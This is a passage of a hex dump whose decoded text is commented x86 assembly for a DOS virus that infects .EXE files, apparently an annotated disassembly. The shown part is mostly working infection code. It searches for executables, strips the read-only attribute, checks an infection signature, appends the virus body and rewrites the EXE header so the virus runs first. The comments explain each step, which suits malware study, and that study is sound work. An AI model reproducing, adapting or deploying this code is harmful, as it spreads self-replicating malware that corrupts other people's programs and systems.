20 20 20 20 4d 4f 56 20 |L4.. | MOV | |00002210| 20 20 20 20 43 53 3a 5b | 43 4f 55 4e 54 45 52 5d | CS:[|COUNTER]| |00002220| 2c 31 30 0d 0a 3b 0d 0a | 3b 20 20 20 20 20 20 20 |,10..;..|; | |00002230| 53 61 76 65 20 61 6c 6c | 20 61 66 66 65 63 74 65 |Save all| affecte| |00002240| 64 20 72 65 67 69 73 74 | 65 72 73 2e 0d 0a 3b 0d |d regist|ers...;.| |00002250| 0a 20 20 20 20 20 20 20 | 20 50 55 53 48 20 20 20 |. | PUSH | |00002260| 20 41 58 0d 0a 20 20 20 | 20 20 20 20 20 50 55 53 | AX.. | PUS| |00002270| 48 20 20 20 20 42 58 0d | 0a 20 20 20 20 20 20 20 |H BX.|. | |00002280| 20 50 55 53 48 20 20 20 | 20 43 58 0d 0a 20 20 20 | PUSH | CX.. | |00002290| 20 20 20 20 20 50 55 53 | 48 20 20 20 20 44 58 0d | PUS|H DX.| |000022a0| 0a 20 20 20 20 20 20 20 | 20 50 55 53 48 20 20 20 |. | PUSH | |000022b0| 20 53 49 0d 0a 20 20 20 | 20 20 20 20 20 50 55 53 | SI.. | PUS| |000022c0| 48 20 20 20 20 44 53 0d | 0a 3b 0d 0a 3b 20 20 20 |H DS.|.;..; | |000022d0| 20 20 20 20 53 65 61 72 | 63 68 20 66 6f 72 20 74 | Sear|ch for t| |000022e0| 68 65 20 66 69 6c 65 20 | 6e 61 6d 65 20 65 78 74 |he file |name ext| |000022f0| 65 6e 73 69 6f 6e 20 2e | 2e 2e 0d 0a 3b 0d 0a 20 |ension .|....;.. | |00002300| 20 20 20 20 20 20 20 4d | 4f 56 20 20 20 20 20 42 | M|OV B| |00002310| 58 2c 44 58 0d 0a 4c 36 | 3a 20 20 20 20 20 49 4e |X,DX..L6|: IN| |00002320| 43 20 20 20 20 20 42 58 | 0d 0a 20 20 20 20 20 20 |C BX|.. | |00002330| 20 20 43 4d 50 20 20 20 | 20 20 42 59 54 45 20 50 | CMP | BYTE P| |00002340| 54 52 20 5b 42 58 5d 2c | 27 2e 27 0d 0a 20 20 20 |TR [BX],|'.'.. | |00002350| 20 20 20 20 20 4a 45 20 | 20 20 20 20 20 4c 38 0d | JE | L8.| |00002360| 0a 20 20 20 20 20 20 20 | 20 43 4d 50 20 20 20 20 |. | CMP | |00002370| 20 42 59 54 45 20 50 54 | 52 20 5b 42 58 5d 2c 30 | BYTE PT|R [BX],0| |00002380| 0d 0a 20 20 20 20 20 20 | 20 20 4a 4e 45 20 20 20 |.. | JNE | |00002390| 20 20 4c 36 0d 0a 3b 0d | 0a 3b 20 20 20 20 20 20 | L6..;.|.; | |000023a0| 20 2e 2e 2e 20 61 6e 64 | 20 71 75 69 74 20 75 6e | ... and| quit un| |000023b0| 6c 65 73 73 20 69 74 20 | 73 74 61 72 74 73 20 77 |less it |starts w| |000023c0| 69 74 68 20 22 45 58 22 | 2e 0d 0a 3b 0d 0a 4c 37 |ith "EX"|...;..L7| |000023d0| 3a 20 20 20 20 20 50 4f | 50 20 20 20 20 20 44 53 |: PO|P DS| |000023e0| 0d 0a 20 20 20 20 20 20 | 20 20 50 4f 50 20 20 20 |.. | POP | |000023f0| 20 20 53 49 0d 0a 20 20 | 20 20 20 20 20 20 50 4f | SI.. | PO| |00002400| 50 20 20 20 20 20 44 58 | 0d 0a 20 20 20 20 20 20 |P DX|.. | |00002410| 20 20 50 4f 50 20 20 20 | 20 20 43 58 0d 0a 20 20 | POP | CX.. | |00002420| 20 20 20 20 20 20 50 4f | 50 20 20 20 20 20 42 58 | PO|P BX| |00002430| 0d 0a 20 20 20 20 20 20 | 20 20 50 4f 50 20 20 20 |.. | POP | |00002440| 20 20 41 58 0d 0a 20 20 | 20 20 20 20 20 20 4a 4d | AX.. | JM| |00002450| 50 20 20 20 20 20 4c 34 | 0d 0a 4c 38 3a 20 20 20 |P L4|..L8: | |00002460| 20 20 49 4e 43 20 20 20 | 20 20 42 58 0d 0a 20 20 | INC | BX.. | |00002470| 20 20 20 20 20 20 43 4d | 50 20 20 20 20 20 57 4f | CM|P WO| |00002480| 52 44 20 50 54 52 20 5b | 42 58 5d 2c 35 38 34 35 |RD PTR [|BX],5845| |00002490| 48 0d 0a 20 20 20 20 20 | 20 20 20 4a 4e 45 20 20 |H.. | JNE | |000024a0| 20 20 20 4c 37 0d 0a 3b | 0d 0a 3b 20 20 20 20 20 | L7..;|..; | |000024b0| 20 20 57 68 65 6e 20 61 | 6e 20 2e 45 58 45 20 66 | When a|n .EXE f| |000024c0| 69 6c 65 20 69 73 20 66 | 6f 75 6e 64 2c 20 74 68 |ile is f|ound, th| |000024d0| 65 20 76 69 72 75 73 20 | 73 74 61 72 74 73 20 62 |e virus |starts b| |000024e0| 79 20 74 75 72 6e 69 6e | 67 20 6f 66 66 0d 0a 3b |y turnin|g off..;| |000024f0| 20 20 20 20 20 20 20 74 | 68 65 20 72 65 61 64 2d | t|he read-| |00002500| 6f 6e 6c 79 20 61 74 74 | 72 69 62 75 74 65 2e 20 |only att|ribute. | |00002510| 54 68 65 20 72 65 61 64 | 2d 6f 6e 6c 79 20 61 74 |The read|-only at| |00002520| 74 72 69 62 75 74 65 20 | 69 73 20 6e 6f 74 20 72 |tribute |is not r| |00002530| 65 73 74 6f 72 65 64 0d | 0a 3b 20 20 20 20 20 20 |estored.|.; | |00002540| 20 77 68 65 6e 20 74 68 | 65 20 66 69 6c 65 20 68 | when th|e file h| |00002550| 61 73 20 62 65 65 6e 20 | 69 6e 66 65 63 74 65 64 |as been |infected| |00002560| 2e 0d 0a 3b 0d 0a 3b 20 | 20 20 20 20 20 20 48 65 |...;..; | He| |00002570| 72 65 2c 20 61 73 20 65 | 6c 73 65 77 68 65 72 65 |re, as e|lsewhere| |00002580| 2c 20 74 68 65 20 49 4e | 54 20 32 31 20 69 6e 73 |, the IN|T 21 ins| |00002590| 74 72 75 63 74 69 6f 6e | 73 20 68 61 76 65 20 62 |truction|s have b| |000025a0| 65 65 6e 20 72 65 70 6c | 61 63 65 64 0d 0a 3b 20 |een repl|aced..; | |000025b0| 20 20 20 20 20 20 62 79 | 20 20 20 20 20 20 50 55 | by| PU| |000025c0| 53 48 46 2f 43 41 4c 4c | 20 44 57 4f 52 44 20 50 |SHF/CALL| DWORD P| |000025d0| 54 52 20 43 53 3a 5b 44 | 4f 53 50 43 5d 0d 0a 3b |TR CS:[D|OSPC]..;| |000025e0| 0d 0a 20 20 20 20 20 20 | 20 20 4d 4f 56 20 20 20 |.. | MOV | |000025f0| 20 20 41 58 2c 34 33 30 | 30 48 20 20 20 20 20 20 | AX,430|0H | |00002600| 20 20 20 20 20 20 20 20 | 20 20 3b 20 47 65 74 20 | | ; Get | |00002610| 61 74 74 72 69 62 75 74 | 65 0d 0a 20 20 20 20 20 |attribut|e.. | |00002620| 20 20 20 50 55 53 48 46 | 0d 0a 20 20 20 20 20 20 | PUSHF|.. | |00002630| 20 20 43 41 4c 4c 20 20 | 20 20 44 57 4f 52 44 20 | CALL | DWORD | |00002640| 50 54 52 20 43 53 3a 5b | 44 4f 53 50 43 5d 0d 0a |PTR CS:[|DOSPC]..| |00002650| 20 20 20 20 20 20 20 20 | 4a 43 20 20 20 20 20 20 | |JC | |00002660| 4c 37 0d 0a 20 20 20 20 | 20 20 20 20 4d 4f 56 20 |L7.. | MOV | |00002670| 20 20 20 20 41 58 2c 34 | 33 30 31 48 20 20 20 20 | AX,4|301H | |00002680| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 53 65 | | ; Se| |00002690| 74 20 61 74 74 72 69 62 | 75 74 65 0d 0a 20 20 20 |t attrib|ute.. | |000026a0| 20 20 20 20 20 41 4e 44 | 20 20 20 20 20 43 58 2c | AND| CX,| |000026b0| 30 46 45 48 0d 0a 20 20 | 20 20 20 20 20 20 50 55 |0FEH.. | PU| |000026c0| 53 48 46 0d 0a 20 20 20 | 20 20 20 20 20 43 41 4c |SHF.. | CAL| |000026d0| 4c 20 20 20 20 44 57 4f | 52 44 20 50 54 52 20 43 |L DWO|RD PTR C| |000026e0| 53 3a 5b 44 4f 53 50 43 | 5d 0d 0a 20 20 20 20 20 |S:[DOSPC|].. | |000026f0| 20 20 20 4a 43 20 20 20 | 20 20 20 4c 37 0d 0a 3b | JC | L7..;| |00002700| 0d 0a 3b 20 20 20 20 20 | 20 20 4e 65 78 74 2c 20 |..; | Next, | |00002710| 74 68 65 20 66 69 6c 65 | 20 69 73 20 65 78 61 6d |the file| is exam| |00002720| 69 6e 65 64 20 74 6f 20 | 73 65 65 20 69 66 20 69 |ined to |see if i| |00002730| 74 20 69 73 20 61 6c 72 | 65 61 64 79 20 69 6e 66 |t is alr|eady inf| |00002740| 65 63 74 65 64 2e 0d 0a | 3b 20 20 20 20 20 20 20 |ected...|; | |00002750| 54 68 65 20 73 69 67 6e | 61 74 75 72 65 20 28 34 |The sign|ature (4| |00002760| 34 31 38 20 35 46 31 39 | 29 20 69 73 20 73 74 6f |418 5F19|) is sto| |00002770| 72 65 64 20 69 6e 20 74 | 68 65 20 6c 61 73 74 20 |red in t|he last | |00002780| 74 77 6f 20 77 6f 72 64 | 73 2e 0d 0a 3b 0d 0a 20 |two word|s...;.. | |00002790| 20 20 20 20 20 20 20 4d | 4f 56 20 20 20 20 20 41 | M|OV A| |000027a0| 58 2c 33 44 30 32 48 20 | 20 20 20 20 20 20 20 20 |X,3D02H | | |000027b0| 20 20 20 20 20 20 20 3b | 20 4f 70 65 6e 20 2f 20 | ;| Open / | |000027c0| 77 72 69 74 65 20 61 63 | 63 65 73 73 0d 0a 20 20 |write ac|cess.. | |000027d0| 20 20 20 20 20 20 50 55 | 53 48 46 0d 0a 20 20 20 | PU|SHF.. | |000027e0| 20 20 20 20 20 43 41 4c | 4c 20 20 20 20 44 57 4f | CAL|L DWO| |000027f0| 52 44 20 50 54 52 20 43 | 53 3a 5b 44 4f 53 50 43 |RD PTR C|S:[DOSPC| |00002800| 5d 0d 0a 20 20 20 20 20 | 20 20 20 4a 43 20 20 20 |].. | JC | |00002810| 20 20 20 4c 37 0d 0a 20 | 20 20 20 20 20 20 20 4d | L7.. | M| |00002820| 4f 56 20 20 20 20 20 42 | 58 2c 41 58 20 20 20 20 |OV B|X,AX | |00002830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00002840| 20 66 69 6c 65 20 68 61 | 6e 64 6c 65 20 69 6e 20 | file ha|ndle in | |00002850| 42 58 0d 0a 20 20 20 20 | 20 20 20 20 50 55 53 48 |BX.. | PUSH| |00002860| 20 20 20 20 43 53 20 20 | 20 20 20 20 20 20 20 20 | CS | | |00002870| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 6e 6f | | ; no| |00002880| 77 20 44 53 20 69 73 20 | 6e 6f 20 6c 6f 6e 67 65 |w DS is |no longe| |00002890| 72 20 6e 65 65 64 65 64 | 0d 0a 20 20 20 20 20 20 |r needed|.. | |000028a0| 20 20 50 4f 50 20 20 20 | 20 20 44 53 0d 0a 3b 0d | POP | DS..;.| |000028b0| 0a 3b 20 20 20 20 20 20 | 20 54 68 65 20 68 65 61 |.; | The hea| |000028c0| 64 65 72 20 6f 66 20 74 | 68 65 20 66 69 6c 65 20 |der of t|he file | |000028d0| 69 73 20 72 65 61 64 20 | 69 6e 20 61 74 20 5b 49 |is read |in at [I| |000028e0| 44 2b 38 5d 2e 20 54 68 | 65 20 76 69 72 75 73 20 |D+8]. Th|e virus | |000028f0| 74 68 65 6e 0d 0a 3b 20 | 20 20 20 20 20 20 6d 6f |then..; | mo| |00002900| 64 69 66 69 65 73 20 69 | 74 73 65 6c 66 2c 20 61 |difies i|tself, a| |00002910| 63 63 6f 72 64 69 6e 67 | 20 74 6f 20 74 68 65 20 |ccording| to the | |00002920| 69 6e 66 6f 72 6d 61 74 | 69 6f 6e 20 73 74 6f 72 |informat|ion stor| |00002930| 65 64 20 69 6e 20 74 68 | 65 0d 0a 3b 20 20 20 20 |ed in th|e..; | |00002940| 20 20 20 68 65 61 64 65 | 72 2e 20 28 54 68 65 20 | heade|r. (The | |00002950| 6f 72 69 67 69 6e 61 6c | 20 43 53 20 61 6e 64 20 |original| CS and | |00002960| 49 50 20 61 64 64 72 65 | 73 73 65 64 20 61 72 65 |IP addre|ssed are| |00002970| 20 73 74 6f 72 65 64 29 | 2e 0d 0a 3b 0d 0a 20 20 | stored)|...;.. | |00002980| 20 20 20 20 20 20 4d 4f | 56 20 20 20 20 20 44 58 | MO|V DX| |00002990| 2c 4f 46 46 53 45 54 20 | 49 44 2b 38 0d 0a 20 20 |,OFFSET |ID+8.. | |000029a0| 20 20 20 20 20 20 4d 4f | 56 20 20 20 20 20 43 58 | MO|V CX| |000029b0| 2c 31 43 48 0d 0a 20 20 | 20 20 20 20 20 20 4d 4f |,1CH.. | MO| |000029c0| 56 20 20 20 20 20 41 48 | 2c 33 46 48 0d 0a 20 20 |V AH|,3FH.. | |000029d0| 20 20 20 20 20 20 50 55 | 53 48 46 0d 0a 20 20 20 | PU|SHF.. | |000029e0| 20 20 20 20 20 43 41 4c | 4c 20 20 20 20 44 57 4f | CAL|L DWO| |000029f0| 52 44 20 50 54 52 20 43 | 53 3a 5b 44 4f 53 50 43 |RD PTR C|S:[DOSPC| |00002a00| 5d 0d 0a 20 20 20 20 20 | 20 20 20 4a 43 20 20 20 |].. | JC | |00002a10| 20 20 20 4c 39 0d 0a 20 | 20 20 20 20 20 20 20 4d | L9.. | M| |00002a20| 4f 56 20 20 20 20 20 41 | 58 2c 44 53 3a 49 44 5b |OV A|X,DS:ID[| |00002a30| 31 43 48 5d 0d 0a 20 20 | 20 20 20 20 20 20 4d 4f |1CH].. | MO| |00002a40| 56 20 20 20 20 20 44 53 | 3a 5b 4f 52 47 5f 49 50 |V DS|:[ORG_IP| |00002a50| 5d 2c 41 58 0d 0a 20 20 | 20 20 20 20 20 20 4d 4f |],AX.. | MO| |00002a60| 56 20 20 20 20 20 41 58 | 2c 44 53 3a 49 44 5b 31 |V AX|,DS:ID[1| |00002a70| 45 48 5d 0d 0a 20 20 20 | 20 20 20 20 20 41 44 44 |EH].. | ADD| |00002a80| 20 20 20 20 20 41 58 2c | 31 30 48 0d 0a 20 20 20 | AX,|10H.. | |00002a90| 20 20 20 20 20 4d 4f 56 | 20 20 20 20 20 44 53 3a | MOV| DS:| |00002aa0| 5b 4f 52 47 5f 43 53 5d | 2c 41 58 0d 0a 3b 0d 0a |[ORG_CS]|,AX..;..| |00002ab0| 3b 20 20 20 20 20 20 20 | 4e 65 78 74 20 74 68 65 |; |Next the| |00002ac0| 20 72 65 61 64 2f 77 72 | 69 74 65 20 70 6f 69 6e | read/wr|ite poin| |00002ad0| 74 65 72 20 69 73 20 6d | 6f 76 65 64 20 74 6f 20 |ter is m|oved to | |00002ae0| 74 68 65 20 65 6e 64 20 | 6f 66 20 74 68 65 20 66 |the end |of the f| |00002af0| 69 6c 65 2d 34 2c 0d 0a | 3b 20 20 20 20 20 20 20 |ile-4,..|; | |00002b00| 61 6e 64 20 74 68 65 20 | 6c 61 73 74 20 34 20 62 |and the |last 4 b| |00002b10| 79 74 65 73 20 72 65 61 | 64 2e 20 54 68 65 79 20 |ytes rea|d. They | |00002b20| 61 72 65 20 63 6f 6d 70 | 61 72 65 64 20 74 6f 20 |are comp|ared to | |00002b30| 74 68 65 20 73 69 67 6e | 61 74 75 72 65 2c 0d 0a |the sign|ature,..| |00002b40| 3b 20 20 20 20 20 20 20 | 61 6e 64 20 69 66 20 65 |; |and if e| |00002b50| 71 75 61 6c 20 6e 6f 74 | 68 69 6e 67 20 68 61 70 |qual not|hing hap| |00002b60| 70 65 6e 73 2e 0d 0a 3b | 0d 0a 20 20 20 20 20 20 |pens...;|.. | |00002b70| 20 20 4d 4f 56 20 20 20 | 20 20 41 58 2c 34 32 30 | MOV | AX,420| |00002b80| 32 48 0d 0a 20 20 20 20 | 20 20 20 20 4d 4f 56 20 |2H.. | MOV | |00002b90| 20 20 20 20 43 58 2c 2d | 31 0d 0a 20 20 20 20 20 | CX,-|1.. | |00002ba0| 20 20 20 4d 4f 56 20 20 | 20 20 20 44 58 2c 2d 34 | MOV | DX,-4| |00002bb0| 0d 0a 20 20 20 20 20 20 | 20 20 50 55 53 48 46 0d |.. | PUSHF.| |00002bc0| 0a 20 20 20 20 20 20 20 | 20 43 41 4c 4c 20 20 20 |. | CALL | |00002bd0| 20 44 57 4f 52 44 20 50 | 54 52 20 43 53 3a 5b 44 | DWORD P|TR CS:[D| |00002be0| 4f 53 50 43 5d 0d 0a 20 | 20 20 20 20 20 20 20 4a |OSPC].. | J| |00002bf0| 43 20 20 20 20 20 20 4c | 39 0d 0a 20 20 20 20 20 |C L|9.. | |00002c00| 20 20 20 41 44 44 20 20 | 20 20 20 41 58 2c 34 20 | ADD | AX,4 | |00002c10| 20 20 20 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 | .. | MOV| |00002c20| 20 20 20 20 20 44 53 3a | 5b 4c 45 4e 5f 4c 4f 5d | DS:|[LEN_LO]| |00002c30| 2c 41 58 0d 0a 20 20 20 | 20 20 20 20 20 4a 4e 43 |,AX.. | JNC| |00002c40| 20 20 20 20 20 4c 38 41 | 0d 0a 20 20 20 20 20 20 | L8A|.. | |00002c50| 20 20 49 4e 43 20 20 20 | 20 20 44 58 0d 0a 4c 38 | INC | DX..L8| |00002c60| 41 3a 20 20 20 20 4d 4f | 56 20 20 20 20 20 44 53 |A: MO|V DS| |00002c70| 3a 5b 4c 45 4e 5f 48 49 | 5d 2c 44 58 0d 0a 0d 0a |:[LEN_HI|],DX....| |00002c80| 20 20 20 20 20 20 20 20 | 4d 4f 56 20 20 20 20 20 | |MOV | |00002c90| 41 48 2c 33 46 48 0d 0a | 20 20 20 20 20 20 20 20 |AH,3FH..| | |00002ca0| 4d 4f 56 20 20 20 20 20 | 43 58 2c 34 0d 0a 20 20 |MOV |CX,4.. | |00002cb0| 20 20 20 20 20 20 4d 4f | 56 20 20 20 20 20 44 58 | MO|V DX| |00002cc0| 2c 4f 46 46 53 45 54 20 | 49 44 2b 34 0d 0a 20 20 |,OFFSET |ID+4.. | |00002cd0| 20 20 20 20 20 20 50 55 | 53 48 46 0d 0a 20 20 20 | PU|SHF.. | |00002ce0| 20 20 20 20 20 43 41 4c | 4c 20 20 20 20 44 57 4f | CAL|L DWO| |00002cf0| 52 44 20 50 54 52 20 43 | 53 3a 5b 44 4f 53 50 43 |RD PTR C|S:[DOSPC| |00002d00| 5d 0d 0a 20 20 20 20 20 | 20 20 20 4a 4e 43 20 20 |].. | JNC | |00002d10| 20 20 20 4c 31 31 0d 0a | 4c 39 3a 20 20 20 20 20 | L11..|L9: | |00002d20| 4d 4f 56 20 20 20 20 20 | 41 48 2c 33 45 48 0d 0a |MOV |AH,3EH..| |00002d30| 20 20 20 20 20 20 20 20 | 50 55 53 48 46 0d 0a 20 | |PUSHF.. | |00002d40| 20 20 20 20 20 20 20 43 | 41 4c 4c 20 20 20 20 44 | C|ALL D| |00002d50| 57 4f 52 44 20 50 54 52 | 20 43 53 3a 5b 44 4f 53 |WORD PTR| CS:[DOS| |00002d60| 50 43 5d 0d 0a 4c 31 30 | 3a 20 20 20 20 4a 4d 50 |PC]..L10|: JMP| |00002d70| 20 20 20 20 20 4c 37 0d | 0a 3b 0d 0a 3b 20 20 20 | L7.|.;..; | |00002d80| 20 20 20 20 43 6f 6d 70 | 61 72 65 20 74 6f 20 34 | Comp|are to 4| |00002d90| 34 31 38 2c 35 46 31 39 | 0d 0a 3b 0d 0a 4c 31 31 |418,5F19|..;..L11| |00002da0| 3a 20 20 20 20 4d 4f 56 | 20 20 20 20 20 53 49 2c |: MOV| SI,| |00002db0| 4f 46 46 53 45 54 20 49 | 44 2b 34 0d 0a 20 20 20 |OFFSET I|D+4.. | |00002dc0| 20 20 20 20 20 4d 4f 56 | 20 20 20 20 20 41 58 2c | MOV| AX,| |00002dd0| 5b 53 49 5d 0d 0a 20 20 | 20 20 20 20 20 20 43 4d |[SI].. | CM| |00002de0| 50 20 20 20 20 20 41 58 | 2c 34 34 31 38 48 0d 0a |P AX|,4418H..| |00002df0| 20 20 20 20 20 20 20 20 | 4a 4e 45 20 20 20 20 20 | |JNE | |00002e00| 4c 31 32 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 |L12.. | MOV| |00002e10| 20 20 20 20 20 41 58 2c | 5b 53 49 2b 32 5d 0d 0a | AX,|[SI+2]..| |00002e20| 20 20 20 20 20 20 20 20 | 43 4d 50 20 20 20 20 20 | |CMP | |00002e30| 41 58 2c 35 46 31 39 48 | 0d 0a 20 20 20 20 20 20 |AX,5F19H|.. | |00002e40| 20 20 4a 45 20 20 20 20 | 20 20 4c 39 0d 0a 3b 0d | JE | L9..;.| |00002e50| 0a 3b 20 20 20 20 20 20 | 20 54 68 65 20 66 69 6c |.; | The fil| |00002e60| 65 20 69 73 20 6e 6f 74 | 20 69 6e 66 65 63 74 65 |e is not| infecte| |00002e70| 64 2c 20 73 6f 20 74 68 | 65 20 6e 65 78 74 20 74 |d, so th|e next t| |00002e80| 68 69 6e 67 20 74 68 65 | 20 76 69 72 75 73 20 64 |hing the| virus d| |00002e90| 6f 65 73 20 69 73 0d 0a | 3b 20 20 20 20 20 20 20 |oes is..|; | |00002ea0| 69 6e 66 65 63 74 69 6e | 67 20 69 74 2e 20 46 69 |infectin|g it. Fi| |00002eb0| 72 73 74 20 69 74 20 69 | 73 20 70 61 64 64 65 64 |rst it i|s padded| |00002ec0| 20 73 6f 20 74 68 65 20 | 6c 65 6e 67 74 68 20 62 | so the |length b| |00002ed0| 65 63 6f 6d 65 73 20 61 | 20 6d 75 6c 74 69 70 6c |ecomes a| multipl| |00002ee0| 65 0d 0a 3b 20 20 20 20 | 20 20 20 6f 66 20 31 36 |e..; | of 16| |00002ef0| 20 62 79 74 65 73 2e 20 | 54 68 69 73 20 69 73 20 | bytes. |This is | |00002f00| 70 72 6f 62 61 62 6c 79 | 20 64 6f 6e 65 20 73 6f |probably| done so| |00002f10| 20 74 68 65 20 76 69 72 | 75 73 20 63 6f 64 65 20 | the vir|us code | |00002f20| 63 61 6e 20 73 74 61 72 | 74 20 61 74 20 61 0d 0a |can star|t at a..| |00002f30| 3b 20 20 20 20 20 20 20 | 70 61 72 61 67 72 61 70 |; |paragrap| |00002f40| 68 20 62 6f 75 6e 64 61 | 72 79 2e 0d 0a 3b 0d 0a |h bounda|ry...;..| |00002f50| 4c 31 32 3a 20 20 20 20 | 4d 4f 56 20 20 20 20 20 |L12: |MOV | |00002f60| 41 58 2c 44 53 3a 5b 4c | 45 4e 5f 4c 4f 5d 0d 0a |AX,DS:[L|EN_LO]..| |00002f70| 20 20 20 20 20 20 20 20 | 41 4e 44 20 20 20 20 20 | |AND | |00002f80| 41 58 2c 30 46 48 0d 0a | 20 20 20 20 20 20 20 20 |AX,0FH..| | |00002f90| 4a 5a 20 20 20 20 20 20 | 4c 31 33 0d 0a 20 20 20 |JZ |L13.. | |00002fa0| 20 20 20 20 20 4d 4f 56 | 20 20 20 20 20 43 58 2c | MOV| CX,| |00002fb0| 31 36 0d 0a 20 20 20 20 | 20 20 20 20 53 55 42 20 |16.. | SUB | |00002fc0| 20 20 20 20 43 58 2c 41 | 58 0d 0a 20 20 20 20 20 | CX,A|X.. | |00002fd0| 20 20 20 41 44 44 20 20 | 20 20 20 44 53 3a 5b 4c | ADD | DS:[L| |00002fe0| 45 4e 5f 4c 4f 5d 2c 43 | 58 0d 0a 20 20 20 20 20 |EN_LO],C|X.. | |00002ff0| 20 20 20 4a 4e 43 20 20 | 20 20 20 4c 31 32 41 0d | JNC | L12A.| |00003000| 0a 20 20 20 20 20 20 20 | 20 49 4e 43 20 20 20 20 |. | INC | |00003010| 20 44 53 3a 5b 4c 45 4e | 5f 48 49 5d 0d 0a 4c 31 | DS:[LEN|_HI]..L1| |00003020| 32 41 3a 20 20 20 4d 4f | 56 20 20 20 20 20 41 48 |2A: MO|V AH| |00003030| 2c 34 30 48 0d 0a 20 20 | 20 20 20 20 20 20 50 55 |,40H.. | PU| |00003040| 53 48 46 0d 0a 20 20 20 | 20 20 20 20 20 43 41 4c |SHF.. | CAL| |00003050| 4c 20 20 20 20 44 57 4f | 52 44 20 50 54 52 20 43 |L DWO|RD PTR C| |00003060| 53 3a 5b 44 4f 53 50 43 | 5d 0d 0a 20 20 20 20 20 |S:[DOSPC|].. | |00003070| 20 20 20 4a 43 20 20 20 | 20 20 20 4c 39 0d 0a 3b | JC | L9..;| |00003080| 0d 0a 3b 20 20 20 20 20 | 20 20 4e 65 78 74 20 74 |..; | Next t| |00003090| 68 65 20 6d 61 69 6e 20 | 62 6f 64 79 20 6f 66 20 |he main |body of | |000030a0| 74 68 65 20 76 69 72 75 | 73 20 69 73 20 77 72 69 |the viru|s is wri| |000030b0| 74 74 65 6e 20 74 6f 20 | 74 68 65 20 65 6e 64 2e |tten to |the end.| |000030c0| 0d 0a 3b 0d 0a 4c 31 33 | 3a 20 20 20 20 58 4f 52 |..;..L13|: XOR| |000030d0| 20 20 20 20 20 44 58 2c | 44 58 0d 0a 20 20 20 20 | DX,|DX.. | |000030e0| 20 20 20 20 4d 4f 56 20 | 20 20 20 20 43 58 2c 4f | MOV | CX,O| |000030f0| 46 46 53 45 54 20 49 44 | 20 2b 20 34 0d 0a 20 20 |FFSET ID| + 4.. | |00003100| 20 20 20 20 20 20 4d 4f | 56 20 20 20 20 20 41 48 | MO|V AH| |00003110| 2c 34 30 48 0d 0a 20 20 | 20 20 20 20 20 20 50 55 |,40H.. | PU| |00003120| 53 48 46 0d 0a 20 20 20 | 20 20 20 20 20 43 41 4c |SHF.. | CAL| |00003130| 4c 20 20 20 20 44 57 4f | 52 44 20 50 54 52 20 43 |L DWO|RD PTR C| |00003140| 53 3a 5b 44 4f 53 50 43 | 5d 0d 0a 20 20 20 20 20 |S:[DOSPC|].. | |00003150| 20 20 20 4a 43 20 20 20 | 20 20 20 4c 39 0d 0a 3b | JC | L9..;| |00003160| 0d 0a 3b 20 20 20 20 20 | 20 20 4e 65 78 74 20 74 |..; | Next t| |00003170| 68 65 20 2e 45 58 45 20 | 66 69 6c 65 20 68 65 61 |he .EXE |file hea| |00003180| 64 65 72 20 69 73 20 6d | 6f 64 69 66 69 65 64 3a |der is m|odified:| |00003190| 0d 0a 3b 0d 0a 3b 20 20 | 20 20 20 20 20 46 69 72 |..;..; | Fir| |000031a0| 73 74 20 6d 6f 64 69 66 | 79 20 69 6e 69 74 69 61 |st modif|y initia| |000031b0| 6c 20 49 50 0d 0a 3b 0d | 0a 20 20 20 20 20 20 20 |l IP..;.|. | |000031c0| 20 4d 4f 56 20 20 20 20 | 20 41 58 2c 4f 46 46 53 | MOV | AX,OFFS| |000031d0| 45 54 20 4c 41 42 45 4c | 31 0d 0a 20 20 20 20 20 |ET LABEL|1.. | |000031e0| 20 20 20 4d 4f 56 20 20 | 20 20 20 44 53 3a 49 44 | MOV | DS:ID| |000031f0| 5b 31 43 48 5d 2c 41 58 | 0d 0a 3b 0d 0a 3b 20 20 |[1CH],AX|..;..; | |00003200| 20 20 20 20 20 4d 6f 64 | 69 66 79 20 73 74 61 72 | Mod|ify star| |00003210| 74 69 6e 67 20 43 53 20 | 3d 20 56 69 72 75 73 20 |ting CS |= Virus | |00003220| 43 53 2e 20 49 74 20 69 | 73 20 63 6f 6d 70 75 74 |CS. It i|s comput| |00003230| 65 64 20 61 73 3a 0d 0a | 3b 0d 0a 3b 20 20 20 20 |ed as:..|;..; | |00003240| 20 20 20 28 4f 72 69 67 | 69 6e 61 6c 20 6c 65 6e | (Orig|inal len| |00003250| 67 74 68 20 6f 66 20 66 | 69 6c 65 2b 70 61 64 64 |gth of f|ile+padd| |00003260| 69 6e 67 29 2f 31 36 20 | 2d 20 53 74 61 72 74 20 |ing)/16 |- Start | |00003270| 6f 66 20 6c 6f 61 64 20 | 6d 6f 64 75 6c 65 0d 0a |of load |module..| |00003280| 3b 0d 0a 20 20 20 20 20 | 20 20 20 4d 4f 56 20 20 |;.. | MOV | |00003290| 20 20 20 44 58 2c 44 53 | 3a 5b 4c 45 4e 5f 48 49 | DX,DS|:[LEN_HI| |000032a0| 5d 0d 0a 20 20 20 20 20 | 20 20 20 4d 4f 56 20 20 |].. | MOV | |000032b0| 20 20 20 41 58 2c 44 53 | 3a 5b 4c 45 4e 5f 4c 4f | AX,DS|:[LEN_LO| |000032c0| 5d 0d 0a 20 20 20 20 20 | 20 20 20 53 48 52 20 20 |].. | SHR | |000032d0| 20 20 20 44 58 2c 31 0d | 0a 20 20 20 20 20 20 20 | DX,1.|. | |000032e0| 20 52 43 52 20 20 20 20 | 20 41 58 2c 31 0d 0a 20 | RCR | AX,1.. | |000032f0| 20 20 20 20 20 20 20 53 | 48 52 20 20 20 20 20 44 | S|HR D| |00003300| 58 2c 31 0d 0a 20 20 20 | 20 20 20 20 20 52 43 52 |X,1.. | RCR| |00003310| 20 20 20 20 20 41 58 2c | 31 0d 0a 20 20 20 20 20 | AX,|1.. | |00003320| 20 20 20 53 48 52 20 20 | 20 20 20 44 58 2c 31 0d | SHR | DX,1.| |00003330| 0a 20 20 20 20 20 20 20 | 20 52 43 52 20 20 20 20 |. | RCR | |00003340| 20 41 58 2c 31 0d 0a 20 | 20 20 20 20 20 20 20 53 | AX,1.. | S| |00003350| 48 52 20 20 20 20 20 44 | 58 2c 31 0d 0a 20 20 20 |HR D|X,1.. | |00003360| 20 20 20 20 20 52 43 52 | 20 20 20 20 20 41 58 2c | RCR| AX,| |00003370| 31 0d 0a 20 20 20 20 20 | 20 20 